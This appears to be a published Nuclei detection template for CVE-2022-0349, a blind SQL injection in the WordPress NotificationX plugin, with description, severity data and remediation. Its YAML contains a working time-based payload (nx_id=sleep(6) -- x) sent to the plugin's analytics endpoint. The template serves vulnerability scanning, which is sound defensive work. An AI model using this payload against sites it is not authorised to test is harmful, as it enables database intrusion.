WordPress NotificationX <2.3.9 - SQL Injection

ID: CVE-2022-0349

Severity: critical

Author: edoardottt

Tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,sqli,notificationx,wpscan,wpdeveloper

Description

WordPress NotificationX plugin prior to 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape the nx_id parameter before using it in a SQL statement, leading to an unauthenticated blind SQL injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-0349

info:
  name: WordPress NotificationX <2.3.9 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    WordPress NotificationX plugin prior to 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape the nx_id parameter before using it in a SQL statement, leading to an unauthenticated blind SQL injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
  remediation: |
    Update to the latest version of the WordPress NotificationX plugin (2.3.9 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1d0dd7be-29f3-4043-a9c6-67d02746463a
    - https://wordpress.org/plugins/notificationx/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0349
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0349
    cwe-id: CWE-89
    epss-score: 0.02414
    epss-percentile: 0.89914
    cpe: cpe:2.3:a:wpdeveloper:notificationx:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpdeveloper
    product: notificationx
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wordpress,wp-plugin,wp,sqli,notificationx,wpscan,wpdeveloper

http:
  - raw:
      - |
        @timeout: 15s
        POST /?rest_route=/notificationx/v1/analytics HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nx_id=sleep(6) -- x

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "\"data\":{\"success\":true}")'
        condition: and
# digest: 490a0046304402200acb5f669572e20e0bccd1e07d137f5606bdedb2022e6b29ad4f927a687bf385022072adee21ee854021717726da2a11af5c0575b003027f49fab8480116667cd313:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0349.yaml"

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